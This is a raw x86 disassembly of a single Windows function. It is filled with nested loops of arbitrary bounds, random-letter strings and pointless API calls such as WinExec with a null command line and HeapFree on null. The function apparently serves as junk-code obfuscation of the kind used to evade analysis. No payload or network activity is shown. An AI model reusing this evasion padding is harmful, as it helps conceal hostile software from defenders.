mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x18a3
jge 0x462790
mov eax, dword [ebp - 0x39c]
imul eax, dword [ebp - 0x3a4]
mov ecx, dword [ebp - 0x3ac]
sub ecx, eax
mov eax, ecx
cdq
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], edx
push dword [ebp - 0x854]
push dword [ebp - 0x858]
lea ecx, [ebp - 0xdb4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xdb4]
call fcn.004024b1
jmp 0x46271f
jmp 0x4626fd
jmp 0x4626d7
push 0x238f
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x8e0], str.aylnci_zndozb_siaopjd_fvawtsl_hrf
mov dword [ebp - 4], 0xa2
cmp dword [ebp - 0x55c], 0x5e4b
jge 0x4627d0
push dword [ebp - 0x77c]
call fcn.004814e5
pop ecx
jmp 0x4627ec
or dword [ebp - 4], 0xffffffff
jmp 0x4627f6
mov dword [ebp - 0x57c], 0x6656
mov dword [ebp - 0x794], str.hqwqz_shi_ezfi_jhjtnk_xgpddkaq_tfysd_rhrbuvnya_gjxcitf_bjukvzzsb
cmp dword [ebp - 0x57c], 0x66db
jle 0x46288d
and dword [ebp - 0x3b4], 0
jmp 0x46282c
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0x696f
jge 0x46288d
and dword [ebp - 0x3bc], 0
jmp 0x46284e
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x29df
jge 0x46288b
mov eax, dword [ebp - 0x3b4]
xor eax, dword [ebp - 0x3bc]
cdq
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], edx
push dword [ebp - 0x864]
push dword [ebp - 0x868]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x462841
jmp 0x46281f
cmp dword [ebp - 0x584], 0x55c6
jle 0x462d0d
and dword [ebp - 0x3ec], 0
jmp 0x4628b3
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x25e5
jge 0x462d05
mov dword [ebp - 0x574], 0x498
mov dword [ebp - 0x8d8], str.qrhj_qtlieixs_pmp_hkmvdcj_casvbgge_ciwk_nikydww
cmp dword [ebp - 0x574], 0x801
jle 0x4629b8
and dword [ebp - 0x3c4], 0
jmp 0x4628fd
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x212f
jge 0x4629b2
and dword [ebp - 0x3cc], 0
jmp 0x462923
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0xfdf
jge 0x4629ad
and dword [ebp - 0x3d4], 0
jmp 0x462945
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x5e8a
jge 0x4629a8
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x3cc]
sar eax, cl
mov ecx, dword [ebp - 0x3d4]
shl eax, cl
cdq
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], edx
push dword [ebp - 0x874]
push dword [ebp - 0x878]
lea ecx, [ebp - 0xde4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xde4]
call fcn.004024b1
jmp 0x462938
jmp 0x462916
jmp 0x4628f0
call dword [sym.imp.KERNEL32.dll_GetACP]
and dword [ebp - 0x3f4], 0
jmp 0x4629ce
cmp dword [ebp - 0x3f4], 0x27f9
jge 0x462cbb
mov dword [ebp - 0x564], 0x65
mov dword [ebp - 0x8d0], str.xcnqdmsv_qgqhz_hderkj_rfag_ixdbqy_qemhua
cmp dword [ebp - 0x564], 0x35e
jle 0x462aa3
and dword [ebp - 0x3dc], 0
jmp 0x462a18
cmp dword [ebp - 0x3dc], 0x2308
jge 0x462a98
and dword [ebp - 0x3e4], 0
jmp 0x462a3a
cmp dword [ebp - 0x3e4], 0x1e50
jge 0x462a93
mov eax, dword [ebp - 0x3dc]
add eax, dword [ebp - 0x3e4]
cdq
mov dword [ebp - 0x884], eax
mov dword [ebp - 0x880], edx
push dword [ebp - 0x880]
push dword [ebp - 0x884]
lea ecx, [ebp - 0xe14]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xe14]
call fcn.004024b1
jmp 0x462a2d
jmp 0x462a0b
push 0x1ea0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, dword [ebp - 0x3ec]
xor eax, dword [ebp - 0x3f4]
cdq
mov dword [ebp - 0x89c], eax
mov dword [ebp - 0x898], edx
mov dword [ebp - 4], 0xa4
cmp dword [ebp - 0x564], 0xfffffe98
jge 0x462adb
push dword [ebp - 0x8d0]
call fcn.004814e5
pop ecx
jmp 0x462af7
or dword [ebp - 4], 0xffffffff
jmp 0x462b01
mov dword [ebp - 0x56c], 0x7dea
mov dword [ebp - 0x788], str.llvb_fpwf_tjt_atx_fxywrxo_lguk
cmp dword [ebp - 0x56c], 0x80f6
jle 0x462c3f
push 0
push 0x1814
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [ebp - 0x3fc], 0
jmp 0x462b4a
push dword [ebp - 0x898]
push dword [ebp - 0x89c]
lea ecx, [ebp - 0xe68]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0xe68]
call fcn.004024b1
mov dword [ebp - 4], 0xa6
cmp dword [ebp - 0x56c], 0x7c28
jge 0x462c90
mov dword [ebp - 4], 0xa8
cmp dword [ebp - 0x574], 0x107
jge 0x462cda
push dword [ebp - 0x8d8]
call fcn.004814e5
pop ecx
jmp 0x462cf6
or dword [ebp - 4], 0xffffffff
jmp 0x462d00
jmp 0x4628a6
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [ebp - 4], 0xaa
cmp dword [ebp - 0x57c], 0x6330
jge 0x462d30
mov edx, dword [ebp - 0x794]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x462d4c
or dword [ebp - 4], 0xffffffff
jmp 0x462d56
mov dword [ebp - 0x58c], 0x3920
mov dword [ebp - 0x7a0], str.fnt_nbzdmcntz_zdvqe_spdmfezd_zgjlwqey_rekqq_powi_eoz_bizahdmkt_wlpw_jpcrexblh_fypdptc_zcfnzelw
cmp dword [ebp - 0x58c], 0x3bfe
jle 0x462e2a
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
and dword [ebp - 0x41c], 0
jmp 0x462d96
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0x612e
jge 0x462e2a
and dword [ebp - 0x424], 0
jmp 0x462dbc
cmp dword [ebp - 0x424], 0x4df4
jge 0x462e25
and dword [ebp - 0x42c], 0
jmp 0x462dde
cmp dword [ebp - 0x42c], 0x6cf0
jge 0x462e23
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0x424]
sar eax, cl
or eax, dword [ebp - 0x42c]
cdq
mov dword [ebp - 0x8a8], eax
mov dword [ebp - 0x8a4], edx
push dword [ebp - 0x8a4]
push dword [ebp - 0x8a8]
mov ecx, 0xab4140
call fcn.0047c836
jmp 0x462dd1
jmp 0x462daf
jmp 0x462d89
mov dword [ebp - 4], 0xac
cmp dword [ebp - 0x584], 0x50ff
jge 0x462e49
push dword [ebp - 0x8e0]
call fcn.004814e5
pop ecx
jmp 0x462e65
or dword [ebp - 4], 0xffffffff
jmp 0x462e6f
mov dword [ebp - 4], 0xae
cmp dword [ebp - 0x58c], 0x35d6
jge 0x462e92
mov edx, dword [ebp - 0x7a0]
mov ecx, 0xab4140
call fcn.0047dce4
jmp 0x462eae
or dword [ebp - 4], 0xffffffff
jmp 0x462eb8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret